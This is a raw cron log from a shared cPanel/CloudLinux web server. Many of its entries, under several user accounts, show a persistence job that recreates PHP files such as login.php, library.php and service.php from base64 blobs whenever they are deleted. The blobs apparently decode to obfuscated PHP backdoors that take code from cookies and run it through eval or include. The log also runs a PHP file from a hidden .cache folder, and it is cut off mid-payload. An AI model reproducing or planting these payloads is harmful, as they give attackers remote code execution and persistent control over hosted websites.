Mar  1 05:27:01 medusa CROND[29211]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:27:01 medusa CROND[29199]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:28:01 medusa CROND[21854]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:28:01 medusa CROND[21855]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:28:01 medusa CROND[21856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:28:01 medusa CROND[21857]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:28:01 medusa CROND[21858]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:28:01 medusa CROND[21862]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:28:01 medusa CROND[21861]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:28:01 medusa CROND[21859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:28:01 medusa CROND[21864]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:28:02 medusa CROND[21868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:28:02 medusa CROND[21870]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:28:02 medusa CROND[21871]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:28:02 medusa CROND[21873]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:28:02 medusa CROND[21874]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:29:01 medusa CROND[13740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:29:01 medusa CROND[13761]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:29:01 medusa CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:29:01 medusa CROND[13838]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:29:01 medusa CROND[13837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:29:01 medusa CROND[13840]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:29:01 medusa CROND[13843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:29:01 medusa CROND[13844]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:29:01 medusa CROND[13845]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:29:01 medusa CROND[13853]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:29:01 medusa CROND[13855]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:29:01 medusa CROND[13856]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 05:29:01 medusa CROND[13865]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:30:01 medusa CROND[5941]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:30:01 medusa CROND[5960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:30:01 medusa CROND[6006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:30:02 medusa CROND[6084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:30:02 medusa CROND[6085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:30:02 medusa CROND[6086]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6087]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLi